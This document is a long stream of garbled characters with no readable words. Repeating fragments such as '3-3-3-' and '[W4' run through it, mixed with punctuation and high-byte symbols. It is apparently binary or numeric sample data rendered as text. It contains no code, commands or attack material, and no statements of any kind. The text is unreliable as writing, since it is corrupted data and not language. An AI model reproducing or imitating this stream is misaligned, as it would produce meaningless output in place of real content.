2*3+3,3,2-2-2-2,2,2,2,2,2,2,2,2+2+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-3-3-3-3-5,6.70:1;3=5?8B;D=F?HAKDMEOHRJSLUNYPZR\T^WaXcZe]f_iakcnepgtjulwoyp|r~twy{}¸ĺǼɿ˿ʾɼǺĸ¶~{}vztwrtoqmnjlghdecc``]\[ZWXTUQSNPMMJKGGEEBB?><<98563300--,+)''%$#!! !$"(%)(,*0-2/6386:9<<??CAECHEKGMJRNSPUSXV\X^[a_dbgejgmhoksmupxs{v|y|Ÿɻ˽ʿȼǻŹ·}|z|xywyu{rxorlqkrisgrcs_t\uZsWmUeT]TYSYQYORMPKPHNFIDAC=B;?>=A:?8<773614/3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.0/0/0/2.2.3-4-5-3-2,1.1/00/3.6-9-;/?0C0G1J0M2O3R3T4T3U2T2T2R4O4M5L3J0G0D0@0<07131/1.2-2,5,5,5,4,3-2.2.3-4-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,5,5+5*5+4+3,3-3-3.3-3-3,3+2*0) 2) 0(1(0(/(/'-'$-&*+$0*"5)":)"?( E'L'P%U#Z"` fkotx|~*%82CYUD>D>D?B@A?D?F?D;DF@HBKDMFOIQKTLVOWQ[R\U^WaYc\e]g`ibkdnfphrjvlxoyp|r~tvy{}¸ĺżɿʾȼƺĸ~{~xzswqsopmnjlgidfbc``^\[ZXWTTQRNOLMIKGGDEBA?><;99763301.-,*)''%##!    " %#(&*(-+/-216487::<=??AAECHFKHNKQNTPWTYW[Z]\a_dcgejfliplrnuqwtzvz}öƺȻɽɽǻŹŸ~}{y|x{v}t|rzpvnqmnklhndmak_f\aZ]XZXZV^T]QUPQNRKQIMGFF?D=A@>C<B:>9:57362403.3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-2.2.2.2.2-3-4.3-3-3-3.3/2-1-///1.2.5.8.:.</?1A2B3C2D0E1D2C3A4?2=0;.:.9-7/4213-3,4.3-5,7+7+5,3,2.2.2.3-4,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3+3*3+3+3,3-4.5.5-5,4,2,1+2*1*2* 2* 0)0)/)/(,'"+&'+%-+%2+"7)"=("A' F&K%Q#W \bfjm ptx{#.(93@8DC>B>C?E@FBFBGBFBEBFAFAGAHBGDHEGFHFIFJGJGKHLI}LIyMJvNJrOLmPLjPMhPMeQLdQMaRPYRQWRQURPSSPQTPNTQKURIUREWSCWSAXS?YS>YT<[T:[U9[U8[U8[U8[U7[V6[V5[W4[W4[W4[X3[X3[W3[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[X3[X3[W4ZW5YV6ZU7XT8XT:XT)#8+%3,%.-%(.&"/'0(0(1)1)0* 0+1+2+2,2,3,3,3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-3-3-5-6-7/91<4=6?8A;C=G@IAKDMEOGQJSLUNXQZS^T`WaYc[e]f_iblcneqhrjslwoyp|r~twx{}·ùƼȿ˾ȼƺĸ¶~~{|xzuwquoqmnklhjegad`a]^[[YXUURSOPLMIJHHEEBC@?=<::784411..,+))'%##!     " %#'&*)-+1.316587::=<@?CAFCIGLIOLRNUQWTYW\Z_]b`echdjfmiplsourxt}y{}÷ƹǻɾ̿ȼǻƺ÷}{zxvt}qxornploirgrdobh`b^_\_ZaXdU`SUSOQSNUKUINGGEDCE@H=F<B:=8:68462504.3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,5,6+5,5,4-2-2-2-3-3-3-3-3-4-5,7+5-5-2-1.10/0-1.2/3/41506.7.605142312.1.1-0./0.3-6+5,5-5,6+8+7,4,3-2.1.2.3-4,6+5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3+3+3+3,3-4-5-5-5,5,4-2-2,2,3+3*2*0* /* .*-),'+'!,'%,%)+%.*%3)#8("='!C$ J"O!U!Z!] `!b gmprv{!% 0*71>9A>C?B?C?D?D@F@E@E@E@E@G@F@FBGBGDGEHEJEIEJFJFKGLIMI~NJyOJvPKsPKqPJoPKmPNgPPdPObPO_PO]ROYRPVTQSUQPVRMVRKXRIWRFYSC[T?\T=\T;[T;[T:[T9[T8[U7[V6[V5[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4\W4\W4\W4\W4\W4\W4\W4\W4\W4\W4\W4\W4\W4\W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[V5ZU7ZT9YT;YT;YT=YS@XSBWSDVREVRHVRJVRKVRMUQRSPUSPXSPZRO^ROaRNeQMiQLlOKoPJsOJuNJxNI{NINGNGNGMFLEKDJEJDIDIEHEIFZWxs|yy{ns^eSXMOGDIAE7@9A;D>F?IBKDMFOGQJSLUNXQZS\U`WaYc[e]g_ibkcmepgritkvnyp{r~tvx{~ùżȽ˾Ȼƺĸ¶~|{xyvwsvormoklhjfhcd`a]^[[YYWVTSOPMMJJGHEEBD@@==::785621./,+))'($$!"   ""%$(&+)/,1/326598;:>=A?DAGDKGMJOMROURWTZX\[`^c`fbielgnjqmsovr|vy{}ĸźȼʿ˿ʾȼƺķ~}{zxur{pvotmvjxgxetclbf`e^fZhXgVaUUVOTTQXMZJUHNFJDJBL?I=E<?9=9;694614/3-3-3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,4,6,8*8*7+5,3-2-2.3/2.2.3-3-4,6*8*7+7,6,4,4-3.2.1.1.1.1.0..//.1.2.3.3-1.1.0.1,2,5,7+7,6-5+6*8*7+4,3-2.1.2.3-4,5+4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4,3,3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-2.2.2.2.2-3-3-3-3-3-2-2-3-3-4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3-3-3-3-3-3-3-3-3-3-3-2.2.2-2,2,3+3+2,4,5,5,5,5,4.3.3.3-3,3,3,1+0+/+ .*-)-)-),'-'",&&+&**%/($5'#<$ A$ F#K"N"R#U"Z^bfjntx|!'#-*53=;B>B>C>E?F@E@E?F?G?G@FAGBFBFCGCHDICHDIEJEKGKGLHNINI~OI|OIzOJxNLtNMqNMnNMkNMhOMePN`RP^UQ[UQXUQUWQRWQPYRK[SF\SE[SB[SAZS?YR=YSF@HAKDMFNHPJSLVNXP[S\U^WaYc[e]g`hbldneogrjtlwmxp|r~tvx{}·ĹƻȽʿͿɻƺĸ~}|zyvwsupsmpkliifgde`a^^[[YYWVUSQPMMJKGHEFCD?A>>;:88562410-,*)('%%""    "!%%(',*.-0/326597;:>=A?DBGEJGLJOMROURWUYX\[_]c`fcjflinkpmspwszu|xz|øƹȼ˽ʿȼź·~|zxu}rzqwoylxivgtfndibi`h^g[eYaXZWWVXSZPZMWKRINFMELBJ@G?D=A<?9=7:4716/4.4-3,2+2+2,3-2.2.2.2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,6+6,6,3-3-3-3-3.3-3-3-3-3-5,6+6,6,5,4-4-3-3-3-3-3-3-2-1-2-3-3-3-3-3-3-3-3-3-3-6,5,4-3-5,6,5,3-3-3-3-3-3-3,4,3,3-3-3-3-3-3-3-3-3-3-3-3-3,4+5+6+5+5,4,4-4-4-3-3-3-2-3,3+4+3,2-2.3-3-4,4-3-2.0//0/0//0.2.3-4,3-1.1.1.3.5,8,9+6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-4-4-4-4-3-3-3-3-3-3-3-3,2,1,1+0+/*0) /(.'.'.'-'",&&+%++%1)#7'";& ?& C& F%K"Q"U"Y#^"bfjoru{!%!,(52<7B>EAFAF@F@F@F@F@G@E@D?EBEDFCEBEBEBECFCGDIFJGJGJGJHKIKJ|KJzLJxLJtLJqOLnPNiQNfROcROaTP^SO\UQXUQTVRRVQPVRNUQLVRJVRHVSEWSEWSCWTAWT>XT=XUWT?UU@WTCVSFVQJVPMVPNWPQVPTWOWUOZSN\RM_RMbRMdRNfRMhPLiNLkNLmNLqNKtNKxMJ|KHIGIGHGHGGFFEFFGCHBIAIAHBFBGAE@F@ICJEPNvupvRS4/,$#yol khd` Z"T"O$ J%!E&"@&#<'"9)#7+$/-&).&&.'".(-).*.)0* 0*1,1,2,2-3-3-3-3-3-3.3.3-3-3-3-3-3-3-4-4-4-4-4-4-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-2,2-3-4.6081;2<4>7A:D<E?H@JCKENGOIQKSMVOYQ[S^U_XaYd\e]g_ibkdofphrjtlwnzp|suwy{~·ĹǼɾʿ˾ɼƺĸ||yyvvstpqnpkmjjggddab^^[\XXVVTTRPONKJHHFFBD@A==;:775421./-,*)'&%$"!    "#%%)(+*.-1/327498<:?=B@ECGEIGLJOMSOURWUYX[Z`^dahdjflinjpmsovszv}xz}öƸ˻νȼĺ|ywu}s|qynwluksiogmdkbi`g_e]bZ`X^W[UZRYPVNTLPINGMFKDIBF@D=B;@9>7;582605/3-2,2,2,3-2.2.2.2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,5+5*5+5,5,4-3-3-3-3-4-5,5,5,5*5*4,3-2.3-4-5,6,5,3.2/10/0.//.2-5,5,4-1.0/0/2.4-7,9+6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,1) /(0)/(/(/(.(-'#,&'+%,+$1+$5*#9(!>' D' H' M'Q&V$[#]!adjnswy~$+(51=8C=D>C=E?HBICHBGAEACAB@BADAFCHEIFHFGEFDDDEDFEIGIHIHJHJHLINJ|MKvNKsOLpPLnPMkQMiQNePObPOaPN_PO]QO[QOWRPUSQRUQPUQOTQLUQJURGWSDXTBXTAXS?YS?XT=XU:YU8YV7YV6YW4ZX3[X2[X2[W3\W4\W4\W4]W4\V3\V3]W4]W4]W4]W4^W3_V3]W4ZW4YW4YW4ZW4[W4[W4[W4[V5[V5[V5[V5[V5[V5ZW4YW4YW4YW4YW4YW4YW4YW4YW4YW4YW4YW4YW4YW4YW5YW5YW5YW5YW5YW5YW4YW4YW4YW4YW4YW4YW4YW4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4\W4]W4]W4]W4]W4]W4]W4]W4]W4]W4]W4]W4]W4]W4[V5[V5[V5[V5[V5[V5YW5YW5YW5YW4YW4YW4YW4YW4[W4[V4[V4[V5[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4ZW5ZV5[V5[V5[V5[W4[W4[W4]W4]W4]V5]W4]W4\V3[V3]W4[W4[W4[V5ZW5[V5YV7ZV7ZV7ZU8YU8YU8XU9XU:XU;WU7@:C=E?HAJBLEMGOIQKSMUOXR[T]V_WaZc\e]g`hbkdmgpirktmvoyq|s~uxz|~·ĸǻɽ˿ɾȼƺĸ}}zyvvssqqoommjjggeebc^_[]YYUVSTQQONMJIIFFCC@A==;:785522/.-,*('&$#"!     ""%%'')*,,//215497;:=<A?DAGDJGLINKQOTQWTYW][`]d`fbidkgmiplsourxt{wz}Ķǹʻ˽˿ȼź¹}zxw~u|rypvntlrjqhmelciag_e]c[aY`X]U[RXPVORLQKOHMGKEIBGAE>C<@:>7;592826/4.3-2,2,3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2.2.2-2-2-2,3-4,6+8+9+9+8+6,4-3-3-3-4,6+8*9*9+9,9,6-3-3-5,7+7+6+4,2.1.0.0./-0-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2+0*1+1+0+ /* -).*-(,',&",&%,&)*$.*$5("8(!=(!B( G&L%P"T!W!]chjnrtuz!(#4/=7@:B;CE?E@EAGAGBE@C>BWSCXRFWRGWSHWSJXRLVROVPQUPTUPWTO[SO]UO^SNaRMcRMdSMeRMiRMlQLoPKrNJtMJwMJzMJ~MIMILGKFLFJEJEJDIBHBGBEADAD@EAFBHDFBF?F=F>F@E@DAD@D?D@FDOOrrøklA?o"b kni_!V"Q%P&N&H' D&!>'"9)#4+%/,&*+&%,&!,&-'.'/(0)/) /* 0*0+2,2,3-3-3-4,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-2,2,4/6192:4=6@9A;D=G?JAKCLENHPJSLUNWPXQZT]W`XbZd\f^g`ibmdogqiskumxnzq{t~vx{}~ķƺǻɽʾǼʏ~|~yzvwrtppmnkljjfgedaa^^[\WZTVRSOQMNKLIHEFCB@@==::7855320/-,**(%$#!!    #"&$''*)-,1.4174:7<:?<A?E@GCJGLIOLRNUQWT[W]Za\c_fahcjfmjpmsovqxt|w~y}´õƸɻʾ˿ȼźø}{yx~u{syqwotmrjphngldjbg_e]c[aY_W\U[RXQVNSLQKOIMGLDIBGAE>C<@:?8<5:3825/4.3-2-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.2.2.1-2,2,2,3,4,6,7,:,8,7-5-3.3.3-3-4,6+8)8):):*9+7,5,5,5,6+7+7+6+5,3-0...,/,/0-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2-3-2,1,0,/+.* .) .).).(-(+'+'%*&)*$.*$3)"7'"=& A% E$J#O#U"Z"^ aegjlotu{&!0*71<7?;B=C=D>D>E?GAJCHBHBHBHCGBE@E@GBFBGBGBFBGBICICJDKEJFKEKEMFMHNINI}PH|OIxQIvQJsQKpSKnSLjTLhTLfUMdTMaUN^VN]UOZUOYVPWUPTVPQVQOVPLVQJWRIWRGWREXRCXSBXSAWSAWS?XS>XT=YT;YU;YU:ZU9ZU8ZU7YU5YW4YX3YX3ZX3ZW3ZX2ZX1ZY1[Y1[Y1[Y0[Y0[Y0[X2\W4\W4\W4\W4\W4\W4\W4\W4\X3\X3\X3\X3\X3\W3\W3\W3\W3\W3\W3\X2\X2\X2\X2\X2\X2\X2\X2[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W3[W3[W3[W3[W3[W3[W3[W3[W3[W3[W3[W3[W3[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4]W4^W3^W3]W3]W3\W3\W3\W3\W3\W3[W3[W3[W3[X2[X2[X2[X2[X2[X2[X3[W3[W4[W4[W4\V5\V6\V5\W3[X2[Y1[Y2[X3[X4ZX4ZW3YW4YW5YV6YW6YW7YV7XU9XU:XU:XU:<7945030zGGzqoxyQPq)'U"Z^] Y!P#!H& D( A(!>)!:("5)#0,$+,%&-& -'/(/)/).).( .)0*/*1+1,1-2,2-3-3-3,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3.4.6182:4=7?9B;D=F?IAKDMENHPJSLUNWPYR[T\W`Yb[d]f^iajcleogqislumwpzq{t}vxz}÷ŹȼɽʿȼŹø}{~xzvxssoqmnklijfgcdab]_Z\XZUVRTORMNJLHHFFCC@@==:;89653300.,**(&%#!    !$"&$'&+)/,2.5284:6<9><B>DAGDIFLIOLROUQWTYV]Y`\c^faiclgnjrltouqyt{vz}öƹǻɽʾȼźø~|zx~u{tzrwptmskqingkeibg`e]c[aY_W^U[SXQVOTMRKPINGLDJBH@F>C<A:?8=6;4815/4.3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-5.4.4-4-4,4,4,3-3-3-4-5-4.2.1/1/2/2.3-4,5+6*6)5*5,4,5,5,5+4+4+4+6+7+8+6+3-0.-/+//.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.5.3.3.2.1-0+0+0+/* /* 0* /*.*,),(-(#,&'*%.)%1($6(";'!@' E& J&M$Q!T"X"\"_!b f!l pruy"($/*5/=7C=E>D=B=E?F@F@F@F@F@FAFAEAEAEAEAFAFBFAGBHBGBGBGBIDJEKFKFLELFMFNHOI}QI{PIyRIvQItQJrQKoQKmRLkRLhRLgSMdRNaSN^TO\UOYUPVUPUVPSUQQVQOVQMVQLVQLUQJVRHVRFXRDXSCYSBXS@XS>XT>XT;XU:XV8YV8XU8XU7XU6XV5YW5ZW5ZW4[X4ZX3[X3[W4\V6]V6\V6]V6\V6]V6]V5]W4]W4]W4]W4]W4]W4]W3]W3]W3]W2]W2]W2]W2]W2]X1]X1]X1]X1]X1]W2[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W3[X2[X2[X2[X2[X2[X2[X2[X2[X2[X2[X2[X2[X2[W3[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4[W4]W3_W2_W3^W2]W3]W3]W3]W3]W3]W3\W3[X3[X3[X3[X2[X2[X3[X3ZX3[W5ZV5[V6[V6ZV7ZV8ZV8ZU8ZU6YV5YV4XV5YV6YV8XU9XU:XU;XUXU?WTAVSDWRFWR